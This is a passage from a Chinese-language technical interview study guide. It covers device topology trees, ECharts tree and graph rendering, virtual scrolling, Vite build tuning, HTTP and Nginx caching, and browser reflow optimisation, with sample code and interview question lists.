for (DeviceFlat flat : flatList) {
DeviceNode node = nodeMap.get(flat.getId());
Long parentId = flat.getParentId();
if (parentId == null) {
root = node; // 没有父节点 → 根节点
} else {
DeviceNode parent = nodeMap.get(parentId);
if (parent != null) {
parent.getChildren().add(node); // 挂到父节点的 children
}
// parent == null 说明数据不一致(父节点被删),这里可选择丢弃或挂到根
}
}
return root;
}
/**
* 设备状态变更时,清除对应站点的拓扑缓存
*/
@Transactional
public void updateDeviceStatus(Long deviceId, String status) {
deviceMapper.updateStatus(deviceId, status);
// ★ 缓存一致性:删缓存而不是更新(避免并发下的脏数据)
Long stationId = findRootStationId(deviceId);
redisTemplate.delete(TOPO_CACHE_KEY + stationId);
}
}
⚠️ 面试追问:为什么不递归构建?
答: 递归构建(每找一个节点的子节点就遍历一次全表)时间复杂度是 O(n²),万级节点就是上亿次比较,不可接受。用 HashMap 做两遍遍历是 O(n)——第一遍建索引(O(1) 查找),第二遍挂接关系。这是典型的空间换时间,万级节点从秒级降到毫秒级。
前端需要的 JSON 结构
{
"id": 1,
"name": "站点A",
"deviceType": "STATION",
"status": "ONLINE",
"depth": 0,
"children": [
{
"id": 2, "name": "逆变器1", "deviceType": "INVERTER", "status": "ONLINE",
"depth": 1,
"children": [
{ "id": 5, "name": "光伏板1", "deviceType": "PANEL",
"status": "ONLINE", "depth": 2, "children": [] },
{ "id": 6, "name": "光伏板2", "deviceType": "PANEL",
"status": "FAULT", "depth": 2, "children": [] }
]
},
{
"id": 3, "name": "逆变器2", "deviceType": "INVERTER",
"status": "OFFLINE", "depth": 1, "children": []
}
]
}
8.4 ECharts 树形拓扑图(type: ‘tree’)
<!-- DeviceTopology.vue -->
<script setup>
import { ref, onMounted, shallowRef } from 'vue';
import * as echarts from 'echarts/core';
import { TreeChart } from 'echarts/charts';
import { TooltipComponent, TitleComponent } from 'echarts/components';
import { CanvasRenderer } from 'echarts/renderers';
import { getTopology } from '@/api/device';
echarts.use([TreeChart, TooltipComponent, TitleComponent, CanvasRenderer]);
const chartRef = ref(null);
const chart = shallowRef(null);
const treeData = ref(null);
// 设备类型 → 图标/颜色映射
const DEVICE_STYLE = {
STATION: { color: '#409eff', symbol: 'circle', size: 22 },
INVERTER: { color: '#67c23a', symbol: 'rect', size: 16 },
PANEL: { color: '#e6a23c', symbol: 'roundRect', size: 12 },
SENSOR: { color: '#909399', symbol: 'circle', size: 8 }
};
// 状态 → 颜色(优先级高于类型色)
const STATUS_COLOR = {
ONLINE: '#67c23a',
OFFLINE: '#909399',
FAULT: '#f56c6c'
};
onMounted(async () => {
// ① 后端返回树形 JSON(已构建好,前端直接用)
treeData.value = await getTopology({ stationId: 1 });
chart.value = echarts.init(chartRef.value);
chart.value.setOption(getTreeOption(treeData.value));
// ② 点击节点 → 加载该设备详情
chart.value.on('click', handleNodeClick);
});
function getTreeOption(data) {
return {
title: { text: '设备拓扑图', left: 'center' },
tooltip: {
trigger: 'item',
formatter: (p) => {
const d = p.data;
return `<b>${d.name}</b><br/>
类型:${d.deviceType}<br/>
状态:${d.status}<br/>
层级:${d.depth}`;
}
},
series: [{
type: 'tree',
data: [data], // ★ 必须是数组
// 布局方式
layout: 'orthogonal', // 正交布局(直角连线)
// layout: 'radial', // 径向布局(同心圆放射)
orient: 'LR', // 方向:LR(左→右) TB(上→下) RL BT
// ★ 节点样式(按状态动态着色)
symbol: (value, params) =>
DEVICE_STYLE[params.data.deviceType]?.symbol ?? 'circle',
symbolSize: (value, params) =>
DEVICE_STYLE[params.data.deviceType]?.size ?? 10,
itemStyle: {
color: (params) =>
STATUS_COLOR[params.data.status] ??
DEVICE_STYLE[params.data.deviceType]?.color ?? '#409eff',
borderWidth: 2,
borderColor: '#fff'
},
// 标签
label: {
position: 'right', // LR 布局时标签在右侧
align: 'left',
verticalAlign: 'middle',
fontSize: 12,
formatter: '{b}' // {b} = 节点 name
},
leaves: { // 叶子节点单独配置
label: { position: 'right', align: 'left' }
},
// 连线样式
lineStyle: { color: '#ccc', width: 1.5, curveness: 0 },
// ★ 展开/收起动画
expandAndCollapse: true,
initialTreeDepth: 2, // 初始展开 2 层(万级节点必须限制!)
animationDuration: 550,
animationDurationUpdate: 750,
// 高亮
emphasis: {
focus: 'descendant', // 悬浮时高亮整条子孙链路
itemStyle: { shadowBlur: 10, shadowColor: 'rgba(0,0,0,0.3)' }
}
}]
};
}
function handleNodeClick(params) {
if (params.dataType === 'node' || params.componentType === 'series') {
console.log('点击设备', params.data.id, params.data.name);
// 加载该设备的实时数据 / 跳转到详情页
loadDeviceDetail(params.data.id);
}
}
</script>
<template>
<div ref="chartRef" style="width: 100%; height: 600px"></div>
</template>
8.5 ECharts 关系图(type: ‘graph’,网状拓扑)
适用场景: 设备间通信链路(不是严格层级,任意连接)。
// 数据格式:nodes(节点数组)+ links(边数组)+ categories(分类)
const graphOption = {
title: { text: '设备通信链路拓扑', left: 'center' },
tooltip: {},
legend: [{ data: ['站点', '网关', '设备'] }],
series: [{
type: 'graph',
layout: 'force', // ★ 力导向布局(自动计算节点位置)
// layout: 'none', // ★ 固定坐标布局(用节点自带 x/y)
// layout: 'circular', // 环形布局
// 力导向参数(布局效果调优)
force: {
repulsion: 300, // 节点间斥力(越大越分散)
gravity: 0.1, // 向中心的引力
edgeLength: [80, 150], // 边的理想长度范围
friction: 0.1, // 摩擦系数(越大越快稳定)
layoutAnimation: true // 显示布局动画
},
// 分类(用于 legend 和着色)
categories: [
{ name: '站点', itemStyle: { color: '#409eff' } },
{ name: '网关', itemStyle: { color: '#67c23a' } },
{ name: '设备', itemStyle: { color: '#e6a23c' } }
],
// ★ 节点数据
nodes: [
{ id: '1', name: '站点A', category: 0, symbolSize: 40, value: 100 },
{ id: '2', name: '网关1', category: 1, symbolSize: 25, value: 50 },
{ id: '3', name: '网关2', category: 1, symbolSize: 25, value: 50 },
{ id: '4', name: '设备1', category: 2, symbolSize: 15 },
{ id: '5', name: '设备2', category: 2, symbolSize: 15 },
{ id: '6', name: '设备3', category: 2, symbolSize: 15 }
],
// ★ 边数据(source → target)
links: [
{ source: '1', target: '2' },
{ source: '1', target: '3' },
{ source: '2', target: '4' },
{ source: '2', target: '5' },
{ source: '3', target: '6' }
],
// 边的样式
lineStyle: {
color: 'source', // 边的颜色跟随源节点
width: 2,
curveness: 0.1 // 弯曲度(0 = 直线)
},
// 标签
label: { show: true, position: 'right', formatter: '{b}' },
// 交互
roam: true, // 允许鼠标缩放和平移(大图必备)
draggable: true, // 节点可拖拽
focusNodeAdjacency: true, // 悬浮时高亮相邻节点
emphasis: {
focus: 'adjacency', // 高亮相邻
lineStyle: { width: 4 }
},
// ★ 大规模优化
// 节点太多时,力导向布局会卡,可以:
// ① 改用 layout: 'none' + 后端算好坐标
// ② 关闭布局动画 force.layoutAnimation: false
// ③ 减少迭代次数
}]
};
layout 三种模式对比:
| layout | 工作方式 | 优点 | 缺点 | 适用 |
|---|---|---|---|---|
force |
力导向算法自动计算位置 | 自动布局,美观 | 节点多时卡顿(模拟物理运动) | < 500 节点 |
none |
用节点自带的 x/y 坐标 | 性能最好,位置可控 | 要自己算坐标 | 大规模(你的万级场景) |
circular |
环形排列 | 简单整齐 | 只适合特定场景 | 环形拓扑 |
8.6 大规模拓扑优化(你的“万级节点”场景)
问题: 万级设备节点,直接渲染会卡死浏览器。怎么优化?
优化策略(5 个层次,面试按这个顺序答)
① 数据层:限制初始展开层级
initialTreeDepth: 2 ← 只展开前 2 层,其余折叠
万级节点实际渲染的只有几百个(其他折叠在父节点里)
② 数据层:后端分页/按需加载
点击节点展开时,才去请求该节点的子列表(懒加载)
而不是一次性返回整棵树
③ 渲染层:关动画 + 简化样式
animation: false ← 万级节点动画是灾难
label: { show: false } ← 节点太多时标签重叠,且渲染慢
edgeSymbol: ['none','none'] ← 去掉箭头
④ 渲染层:切换 SVG → Canvas(默认就是 Canvas)
Canvas 画万个图形比万个 DOM 节点快得多
⑤ 布局层:预计算坐标
力导向布局 O(n²) 复杂度,万级节点算不出来
改为后端算好坐标(或前端分层布局算法),用 layout: 'none'
懒加载实现(点击展开才请求子节点)
// ① 初始只返回前 2 层
// ② 监听展开事件,动态加载子节点
chart.on('click', async (params) => {
const node = params.data;
// 如果该节点还有未加载的子节点,且当前是折叠状态
if (node.hasChildren && !node.loaded && !node.expanded) {
// 请求子节点数据
const children = await fetchChildren(node.id);
// 更新数据(要操作原始数据树,然后重新 setOption)
node.children = children.map(c => ({ ...c, loaded: true }));
node.loaded = true;
// 重新渲染
chart.setOption(getTreeOption(treeData.value), true); // notMerge
// 或更细粒度的更新(ECharts tree 不支持局部更新,只能整体 setOption)
}
});
后端配合:只返回指定层级的节点
/**
* 懒加载:只查某个节点的直接子节点(不递归)
*/
@GetMapping("/devices/{parentId}/children")
public Result<List<DeviceNode>> getChildren(@PathVariable Long parentId) {
// 只查一层,不用递归 CTE,极快
List<DeviceFlat> children = deviceMapper.selectByParentId(parentId);
return Result.success(children.stream()
.map(this::convertToNode)
.peek(n -> n.setHasChildren(deviceMapper.countChildren(n.getId()) > 0))
.collect(Collectors.toList()));
}
-- 只查一层子节点(带是否有子节点的标记)
SELECT d.*,
(SELECT COUNT(1) FROM device c WHERE c.parent_id = d.id) AS child_count
FROM device d
WHERE d.parent_id = #{parentId}
ORDER BY d.sort_order;
8.7 完整面试问答(拓扑专题)
Q1(高频):拓扑数据是怎么存储和查询的?
答: 存储用邻接表(
device表里有parent_id字段指向父节点)。选它是因为设备拓扑会频繁调整,邻接表移动节点只需改一条记录的parent_id,代价 O(1);如果用路径枚举或嵌套集,移动子树要批量更新大量记录。 查询用 MySQL 8.0 的递归 CTE(WITH RECURSIVE)一次性查出整棵子树,SQL 里限制了递归深度防止数据成环时死循环。 查出来是平铺列表后,在后端用 HashMap 做两遍遍历构建成树形 JSON——第一遍把所有节点放进 Map(O(1) 查找),第二遍挂接父子关系,整体 O(n)。如果递归构建是 O(n²),万级节点不可接受。 最后树形 JSON 存 Redis 缓存 30 分钟,设备状态变更时删缓存。
Q2:前端怎么渲染万级节点不卡?
答: 五层优化: ① 限制初始展开层级——
initialTreeDepth: 2,实际渲染的只有几百个节点,其余折叠在父节点里; ② 懒加载——点击展开时才请求该节点的直接子节点,后端对应的是“只查一层”的接口,不递归; ③ 关闭动画——animation: false,万级节点的动画是灾难; ④ 用 Canvas 渲染——ECharts 默认 Canvas,画万个图形比万个 DOM 节点快得多; ⑤ 布局用none而非force——力导向是模拟物理运动,复杂度 O(n²),节点多时算不出来;大规模场景用后端算好的坐标或分层布局。 另外节点太多时把label.show设为 false,标签重叠看不清还拖慢渲染,改成 tooltip 悬浮显示。
Q3:设备状态变化怎么实时反映到拓扑图上?
答: 后端设备状态变更通过 WebSocket 主动推送给前端(而不是前端轮询)。前端收到后: ① 更新本地树数据中对应节点的
status字段; ② 用 节流(500ms)限制更新频率,避免高频推送导致频繁重绘; ③ 调用setOption增量更新(只传变化的 series); ④ 同时删除 Redis 里的拓扑缓存,保证下次查询拿到最新状态。 拓扑图节点颜色按状态映射(在线绿、离线灰、故障红),故障节点我还会加个闪烁动画(effectScatter或 CSS 动画)提醒。
Q4:树形结构和图结构(tree vs graph)怎么选?
答: 看数据是否有严格层级。 tree 适合严格层级(站点 → 设备 → 传感器),自带布局算法、支持展开收起、性能好。 graph 适合任意连接关系(设备间通信链路、管网走向),支持力导向/环形布局,能用
roam缩放平移。 我们项目里两种都用了:设备层级用 tree,通信链路用 graph(力导向布局 + roam 缩放)。
第八章 面试题汇总
| # | 题目 | 难度 |
|---|---|---|
| 1 | 树的存储方案有哪些?邻接表的优缺点? | ⭐⭐⭐⭐ |
| 2 | 说说你为什么选邻接表而不是路径枚举/闭包表? | ⭐⭐⭐⭐⭐ |
| 3 | MySQL 递归 CTE 怎么写?有什么坑? | ⭐⭐⭐⭐⭐ |
| 4 | 平铺列表转树形结构,怎么做到 O(n)? | ⭐⭐⭐⭐⭐ |
| 5 | 树形数据转换放在前端还是后端?为什么? | ⭐⭐⭐⭐ |
| 6 | ECharts tree 和 graph 的区别?怎么选? | ⭐⭐⭐⭐ |
| 7 | 力导向布局的原理?大规模时有什么问题? | ⭐⭐⭐⭐ |
| 8 | 万级节点渲染怎么优化? | ⭐⭐⭐⭐⭐ |
| 9 | 拓扑图怎么做懒加载?后端怎么配合? | ⭐⭐⭐⭐⭐ |
| 10 | 设备状态实时更新怎么做? | ⭐⭐⭐⭐ |
| 11 | 拓扑数据怎么缓存?缓存一致性怎么保证? | ⭐⭐⭐⭐ |
| 12 | 树形结构的递归查询如何防止死循环? | ⭐⭐⭐⭐ |
第九章:前端性能优化
你的简历项目一写了: “针对万级指令列表渲染卡顿问题,引入虚拟滚动与分页懒加载,配合表格列按需渲染,首屏渲染耗时从 3s+ 降至 800ms 以内,滚动帧率稳定在 60fps”
这是最有含金量的性能案例——能讲清虚拟滚动原理和实现方式,全栈水平就立住了。
9.1 性能指标(先知道怎么衡量)
| 指标 | 全称 | 含义 | 好 | 差 |
|---|---|---|---|---|
| FP | First Paint | 首次绘制(画面不再是白屏) | — | — |
| FCP | First Contentful Paint | 首次内容绘制(出现文字/图片) | < 1.8s | > 3s |
| LCP | Largest Contentful Paint | 最大内容绘制(主内容可见) | < 2.5s | > 4s |
| FID | First Input Delay | 首次输入延迟(可交互) | < 100ms | > 300ms |
| CLS | Cumulative Layout Shift | 累积布局偏移(页面跳动) | < 0.1 | > 0.25 |
| TTI | Time to Interactive | 完全可交互时间 | < 3.8s | > 7.3s |
Google 的 Core Web Vitals(核心网页指标)就是 FCP / LCP / CLS 三个。
怎么测:
// 用 PerformanceObserver 采集 LCP
new PerformanceObserver((list) => {
for (const entry of list.getEntries()) {
console.log('LCP:', entry.startTime, entry.element);
}
}).observe({ type: 'largest-contentful-paint', buffered: true });
// 采集 CLS
let clsValue = 0;
new PerformanceObserver((list) => {
for (const entry of list.getEntries()) {
if (!entry.hadRecentInput) {
clsValue += entry.value;
console.log('CLS:', clsValue);
}
}
}).observe({ type: 'layout-shift', buffered: true });
工具: Chrome DevTools 的 Lighthouse / Performance 面板。
9.2 首屏优化(从 3s 到 800ms 的思路)
首屏慢的原因分析(用 Performance 面板定位):
① 资源下载慢 → JS/CSS 体积大、没压缩、没用 CDN
② 解析执行慢 → JS 太大、没分包、主线程被阻塞
③ 接口慢 → 后端响应慢、串行请求、没缓存
④ 渲染慢 → DOM 节点太多、没做懒加载/虚拟滚动
优化手段清单:
| 手段 | 做法 | 效果 |
|---|---|---|
| 路由懒加载 | () => import('./Page.vue') |
首屏 JS 减小 60%+ |
| 组件按需引入 | Element Plus 用 unplugin-vue-components |
避免全量引入 |
| Gzip/Brotli 压缩 | Nginx 开启 gzip on |
传输体积减 70% |
| CDN 加速 | 大依赖走 CDN(echarts、vue) | 减少主站带宽 |
| Tree-shaking | ES Module + 按需 import | 去除无用代码 |
| 代码分割 | Vite manualChunks 手动分包 |
并行下载 |
| 预渲染/SSR | 首屏直出 HTML | FCP 大幅提升 |
| 骨架屏 | 加载中先显示占位 | 提升感知性能 |
| 接口合并/并行 | 多个接口并行请求 | 减少等待 |
| 虚拟滚动 | 只渲染可视区 | 大数据列表必备 |
9.3 虚拟滚动(Virtual Scrolling)—— 重点
你简历的核心性能案例,必须能讲清原理和手写实现。
问题:为什么万级列表会卡?
1 万条数据 → 渲染 1 万个 DOM 节点
· DOM 节点创建:每个节点几十个属性,内存占用大
· 布局计算(Reflow):浏览器要计算 1 万个节点的位置
· 绘制(Repaint):要画 1 万个节点
→ 首屏几秒 + 滚动掉帧
浏览器渲染瓶颈:
屏幕刷新率 60Hz → 每帧只有 16.7ms
1 万个节点的布局计算远超 16.7ms → 掉帧、卡顿
原理:只渲染可视区域
全部数据(10000 条)
┌────────────────────────────────────────┐
│ 0 ← 不可见,不渲染 │
│ 1 ← 不可见,不渲染 │
│ ... │
├────────────────────────────────────────┤
│ 45 ←┐ │
│ 46 │ │
│ 47 │ 可视区(约 10 条) │ ← 只渲染这 10 个 DOM
│ 48 │ 真正创建 DOM 节点 │
│ ... │ │
│ 54 │ │
├────────────────────────────────────────┤ ← scrollTop
│ 55 ← 不可见,不渲染 │
│ ... │
│ 9999 ← 不可见,不渲染 │
└────────────────────────────────────────┘
实现方式:
┌─────────────────────────────────────┐
│ 滚动容器(固定高度,overflow:auto) │
│ ┌───────────────────────────────┐ │
│ │ 占位块(总高度 = 10000 × 40px)│ │ ← 撑出滚动条,保持原生滚动体验
│ │ ┌─────────────────────────┐ │ │
│ │ │ 可见项容器 │ │ │
│ │ │ (transform: translateY) │ │ │ ← 定位到正确位置
│ │ │ 渲染 10 条真实数据 │ │ │
│ │ └─────────────────────────┘ │ │
│ └───────────────────────────────┘ │
└─────────────────────────────────────┘
计算:
startIndex = Math.floor(scrollTop / itemHeight) // 起始索引
endIndex = startIndex + Math.ceil(viewHeight / itemHeight) // 结束索引
offsetY = startIndex * itemHeight // 偏移量
visibleData = list.slice(startIndex, endIndex) // 要渲染的数据
手写实现(面试可能要求)
<!-- VirtualList.vue -->
<script setup lang="ts">
import { ref, computed, onMounted, onUnmounted } from 'vue';
interface Props {
items: any[]; // 全部数据
itemHeight: number; // 每项固定高度(固定高度是简化前提)
containerHeight?: number; // 容器高度
buffer?: number; // 上下缓冲数量(防止快速滚动白屏)
}
const props = withDefaults(defineProps<Props>(), {
containerHeight: 500, buffer: 3
});
const containerRef = ref<HTMLDivElement>();
const scrollTop = ref(0);
// ① 总高度(撑出滚动条)
const totalHeight = computed(() => props.items.length * props.itemHeight);
// ② 可见数量
const visibleCount = computed(() =>
Math.ceil(props.containerHeight / props.itemHeight)
);
// ③ 起始索引(带缓冲)
const startIndex = computed(() =>
Math.max(0, Math.floor(scrollTop.value / props.itemHeight) - props.buffer)
);
// ④ 结束索引
const endIndex = computed(() =>
Math.min(props.items.length, startIndex.value + visibleCount.value + props.buffer * 2)
);
// ⑤ 要渲染的数据
const visibleData = computed(() =>
props.items.slice(startIndex.value, endIndex.value)
);
// ⑥ 偏移量(把可见项推到正确位置)
const offsetY = computed(() => startIndex.value * props.itemHeight);
// ⑦ 滚动处理(★ 用 rAF 节流,避免高频触发)
let rafId: number | null = null;
function handleScroll(e: Event) {
if (rafId) return; // 已有帧请求,跳过
rafId = requestAnimationFrame(() => {
scrollTop.value = (e.target as HTMLElement).scrollTop;
rafId = null;
});
}
onUnmounted(() => {
if (rafId) cancelAnimationFrame(rafId);
});
</script>
<template>
<div
ref="containerRef"
class="virtual-list-container"
:style="{ height: containerHeight + 'px', overflow: 'auto' }"
@scroll="handleScroll"
>
<!-- 占位块:撑出总高度,产生原生滚动条 -->
<div :style="{ height: totalHeight + 'px', position: 'relative' }">
<!-- 可见项容器:用 transform 定位(比 top 性能好,不触发重排) -->
<div :style="{ transform: `translateY(${offsetY}px)` }">
<div
v-for="(item, i) in visibleData"
:key="startIndex + i"
:style="{ height: itemHeight + 'px' }"
class="virtual-list-item"
>
<slot :item="item" :index="startIndex + i"></slot>
</div>
</div>
</div>
</div>
</template>
使用:
<VirtualList :items="instructionList" :item-height="48" :container-height="600">
<template #default="{ item, index }">
<div class="instruction-row">
<span>{{ index + 1 }}</span>
<span>{{ item.instructionNo }}</span>
<span>{{ item.amount }}</span>
</div>
</template>
</VirtualList>
关键优化点(面试要说出这 4 条):
① 用 transform 而不是 top/margin 定位
transform 只触发「合成」(GPU 处理),不触发重排重绘,性能好
② requestAnimationFrame 节流滚动事件
滚动事件触发频率极高(每秒几十上百次),用 rAF 合并成每帧一次
(也可以用 throttle,但 rAF 更贴合渲染节奏)
③ 加 buffer 缓冲
上下多渲染几条(如 3 条),快速滚动时不会出现白屏
④ 固定 itemHeight 是简化前提
如果行高不固定,要用「预估高度 + 动态测量 + 位置缓存」,复杂很多
(生产环境建议直接用现成库:vue-virtual-scroller / el-table-v2)
生产建议: 手写虚拟滚动是面试加分项,但生产环境推荐用成熟库:
vue-virtual-scroller(Vue3 支持)el-table-v2(Element Plus 官方虚拟表格,你的项目推荐这个)@tanstack/vue-virtual(TanStack 出的,性能好)
你的项目话术(对应简历): “指令列表最多上万条,全量渲染时首屏要 3 秒多、滚动明显掉帧。我做了虚拟滚动:只渲染可视区的十几条,用一个占位块撑出总高度保持原生滚动体验,可见项用 transform 定位。滚动事件用 requestAnimationFrame 节流,上下各留 3 条缓冲防止快速滚动白屏。改造后首屏 800ms 以内,滚动稳定 60fps。生产上 Element Plus 的 el-table-v2 自带虚拟滚动,新页面直接用它了。”
9.4 路由懒加载与组件按需引入
路由懒加载
// ✅ 每个路由单独打包,访问时才加载
const routes = [
{ path: '/', component: () => import('@/views/Home.vue') },
{ path: '/dashboard', component: () => import('@/views/Dashboard.vue') },
// ECharts 体积大,必须懒加载(不然首屏就要下载 1MB)
];
// 打包产物:
// dist/assets/index-a1b2c3.js 200KB (首屏必需)
// dist/assets/Home-d4e5f6.js 30KB (切到首页才下载)
// dist/assets/Dashboard-g7h8i9.js 350KB (切到大屏才下载,含 echarts)
Element Plus 按需引入
npm install -D unplugin-vue-components unplugin-auto-import
// vite.config.ts
import AutoImport from 'unplugin-auto-import/vite';
import Components from 'unplugin-vue-components/vite';
import { ElementPlusResolver } from 'unplugin-vue-components/resolvers';
export default defineConfig({
plugins: [
AutoImport({
resolvers: [ElementPlusResolver()], // 自动导入 ElMessage 等函数
}),
Components({
resolvers: [ElementPlusResolver()], // 自动导入 el-button 等组件
}),
],
});
// 效果:模板里直接用 <el-button>,不用 import,且只打包用到的组件
// 全量引入 ~1MB → 按需引入 ~200KB
同理适用于 ECharts(见 7.7 节)、lodash(import debounce from 'lodash/debounce')。
9.5 打包优化(Vite 配置)
// vite.config.ts
import { defineConfig } from 'vite';
import vue from '@vitejs/plugin-vue';
import { visualizer } from 'rollup-plugin-visualizer';
export default defineConfig({
plugins: [vue()],
build: {
// ① 压缩(默认 esbuild,可换 terser 更激进)
minify: 'terser',
terserOptions: {
compress: {
drop_console: true, // 生产删除 console
drop_debugger: true // 删除 debugger
}
},
// ② 代码分割(把大依赖单独打包,利用浏览器并行下载 + 长效缓存)
rollupOptions: {
output: {
manualChunks: {
vue: ['vue', 'vue-router', 'pinia'], // 框架单独包
echarts: ['echarts'], // 图表单独包(大)
elementPlus: ['element-plus'], // UI 库单独包
}
}
},
// ③ chunk 大小警告阈值
chunkSizeWarningLimit: 1000,
// ④ 静态资源分类存放
assetsDir: 'assets',
assetsInlineLimit: 4096, // 小于 4KB 的图片转 base64(减少请求)
},
// ⑤ 依赖预构建(开发体验)
optimizeDeps: {
include: ['vue', 'vue-router', 'pinia', 'axios', 'echarts']
}
});
分析打包体积:
npm install -D rollup-plugin-visualizer
# 构建后生成 stats.html,可视化看哪些包最大
9.6 缓存策略
浏览器缓存(HTTP 层)
★ 强缓存(不发请求,直接用本地)
Cache-Control: max-age=31536000 (1 年,用于带 hash 的静态资源)
Expires: Wed, 21 Oct 2027 07:28:00 GMT (HTTP/1.0,优先级低)
★ 协商缓存(发请求问服务器,没变就返回 304)
ETag / If-None-Match (文件内容的 hash,优先级高)
Last-Modified / If-Modified-Since (修改时间)
流程:
首次请求 → 服务器返回资源 + Cache-Control + ETag
再次请求 → ① 强缓存没过期?直接用(200 from memory/disk cache,不发请求)
② 过期了 → 带 If-None-Match 问服务器
→ 没变返回 304(空响应体,省流量)
→ 变了返回 200 + 新资源
最佳实践(面试常问):
| 资源类型 | 策略 |
|---|---|
带 hash 的 JS/CSS(app.a1b2c3.js) |
Cache-Control: max-age=31536000, immutable(强缓存 1 年) |
index.html |
Cache-Control: no-cache(必须协商,否则发版不生效) |
| 图片/字体 | 强缓存 + CDN |
| API 接口 | Cache-Control: no-store(不缓存) |
为什么 index.html 要 no-cache? 因为 JS/CSS 文件名带 hash,内容变了文件名就变,可以放心强缓存;但 index.html 是入口,如果它被缓存了,发版后 HTML 里引用的还是旧 JS 文件名,用户看到的是旧版本。
Nginx 配置
server {
root /usr/share/nginx/html;
# ① index.html 不缓存(或协商缓存)
location = /index.html {
add_header Cache-Control "no-cache, must-revalidate";
}
# ② 带 hash 的静态资源强缓存 1 年
location /assets/ {
expires 1y;
add_header Cache-Control "public, immutable";
}
# ③ SPA 路由 fallback(history 模式必需)
location / {
try_files $uri $uri/ /index.html;
}
# ④ Gzip 压缩
gzip on;
gzip_types text/plain text/css application/json application/javascript text/xml;
gzip_min_length 1024;
gzip_comp_level 6;
}
前端本地缓存
// localStorage / sessionStorage / IndexedDB 的选择
// localStorage:永久存储,5~10MB,同步 API(阻塞主线程)
localStorage.setItem('theme', 'dark'); // 主题、用户偏好
// sessionStorage:标签页关闭即清除
sessionStorage.setItem('token', token); // token(更安全)
// IndexedDB:大容量(几百 MB+),异步 API,支持结构化数据
// 适合:离线缓存大量业务数据(如万级指令列表缓存)
// ⚠️ 注意:不要在 localStorage 存敏感信息(token 被盗风险)
// 同步 API 存大数据会阻塞主线程(5MB 数据 setItem 可能卡几百 ms)
9.7 渲染优化(重排与重绘)
浏览器的渲染流水线
JavaScript → Style(样式计算)→ Layout(布局/重排)→ Paint(绘制/重绘)→ Composite(合成)
| 阶段 | 触发的操作 | 代价 |
|---|---|---|
| 重排(Reflow) | 改变尺寸、位置、增删 DOM、改字体 | 最大(要重新计算布局) |
| 重绘(Repaint) | 改颜色、背景、阴影 | 中等(只重新画,不重算位置) |
| 合成(Composite) | transform、opacity | 最小(GPU 处理,不占主线程) |
// ❌ 触发重排的操作
el.style.width = '100px';
el.style.height = '200px';
el.style.marginTop = '10px';
el.appendChild(newNode);
window.getComputedStyle(el).width; // ★ 读取会强制同步布局(布局抖动)
el.offsetHeight; // ★ 同上
// ✅ 只触发合成(GPU 加速)
el.style.transform = 'translateX(100px)';
el.style.opacity = '0.5';
// ✅ 用 CSS 类批量改样式(一次重排而不是多次)
el.classList.add('active'); // 而不是逐个改 style
// ✅ 批量 DOM 操作用 DocumentFragment
const fragment = document.createDocumentFragment();
for (let i = 0; i < 1000; i++) {
const li = document.createElement('li');
li.textContent = `Item ${i}`;
fragment.appendChild(li); // 先在内存里拼好
}
listEl.appendChild(fragment); // 一次性插入,只触发一次重排
⚠️ 布局抖动(Layout Thrashing)—— 性能杀手:
// ❌ 读写交替,每次读都强制浏览器重新布局
for (let i = 0; i < items.length; i++) {
items[i].style.width = '100px'; // 写
console.log(items[i].offsetHeight); // 读 → 强制布局!
items[i].style.height = '200px'; // 写
console.log(items[i].offsetTop); // 读 → 又强制布局!
}
// 1000 次循环 = 2000 次强制布局,卡死
// ✅ 读写分离:先全部读,再全部写
const heights = [];
for (let i = 0; i < items.length; i++) {
heights.push(items[i].offsetHeight); // 只读(一次布局)
}
for (let i = 0; i < items.length; i++) {
items[i].style.height = heights[i] + 'px'; // 只写
}
GPU 加速(will-change):
/* 提示浏览器这个元素会频繁变换,提前提升到独立合成层 */
.animated-element {
will-change: transform; /* 或 opacity */
transform: translateZ(0); /* 老写法,强制创建合成层 */
}
/* ⚠️ 不要滥用!每个合成层都占内存,太多反而卡 */
第九章 面试题汇总
| # | 题目 | 难度 |
|---|---|---|
| 1 | 前端性能指标有哪些?LCP/CLS 是什么? | ⭐⭐⭐⭐ |
| 2 | 首屏加载慢怎么优化? | ⭐⭐⭐⭐⭐ |
| 3 | 什么是虚拟滚动?原理是什么?手写实现 | ⭐⭐⭐⭐⭐ |
| 4 | 虚拟滚动为什么用 transform 不用 top? | ⭐⭐⭐⭐ |
| 5 | 滚动事件为什么要节流?怎么实现? | ⭐⭐⭐⭐ |
| 6 | 路由懒加载的原理和好处? | ⭐⭐⭐⭐ |
| 7 | 什么是重排和重绘?怎么减少? | ⭐⭐⭐⭐⭐ |
| 8 | 什么是布局抖动?怎么避免? | ⭐⭐⭐⭐ |
| 9 | 强缓存和协商缓存的区别? | ⭐⭐⭐⭐ |
| 10 | 为什么 index.html 要 no-cache,JS 可以强缓存? | ⭐⭐⭐⭐⭐ |
| 11 | 打包体积怎么优化? | ⭐⭐⭐⭐ |
| 12 | 如何分析打包产物? | ⭐⭐⭐ |
| 13 | localStorage/sessionStorage/IndexedDB 的区别? | ⭐⭐⭐ |
| 14 | 你做过哪些性能优化?带来的提升?(开放题,用你的虚拟滚动案例) | ⭐⭐⭐⭐⭐ |
第十章:工程化与构建部署
10.1 Vite vs Webpack
你简历技能清单写了 Vite,面试可能问“为什么用 Vite”。
核心区别:开发环境的构建方式
Webpack(传统打包器):
启动 → 从入口递归分析所有依赖 → 打包成 bundle → 启动 dev server
⏱️ 项目越大越慢(1000 个模块可能要等 30s+)
改一个文件 → 重新打包相关模块 → 热更新(HMR)慢
┌────────────────────────────────────────┐
│ 入口 → 分析依赖 → 打包 → bundle.js │ ← 全量打包
└────────────────────────────────────────┘
Vite(基于原生 ESM):
启动 → 直接启动 dev server(不打包!)
浏览器请求某个模块 → 服务器按需编译该模块 → 返回
⏱️ 启动与项目大小无关(秒级)
改一个文件 → 只重新编译这一个模块 → HMR 极快
┌────────────────────────────────────────┐
│ 浏览器请求 /src/main.js │
│ → Vite 按需编译 → 返回(已是 ESM) │ ← 按需编译
│ 浏览器再请求它 import 的模块 → 再编译 │
└────────────────────────────────────────┘
| 对比 | Webpack | Vite |
|---|---|---|
| 开发启动 | 全量打包,慢(几十秒) | 按需编译,秒级 |
| HMR 热更新 | 重新打包相关模块,较慢 | 只编译改动模块,极快 |
| 原理 | Bundle(打包成 bundle.js) | 原生 ES Module(浏览器直接加载) |
| 生产构建 | Webpack 自己打包 | Rollup(更擅长打包优化) |
| 配置复杂度 | 高(loader/plugin 一大堆) | 低(开箱即用) |
| 生态成熟度 | ⭐⭐⭐⭐⭐(老项目多) | ⭐⭐⭐⭐(新项目首选) |
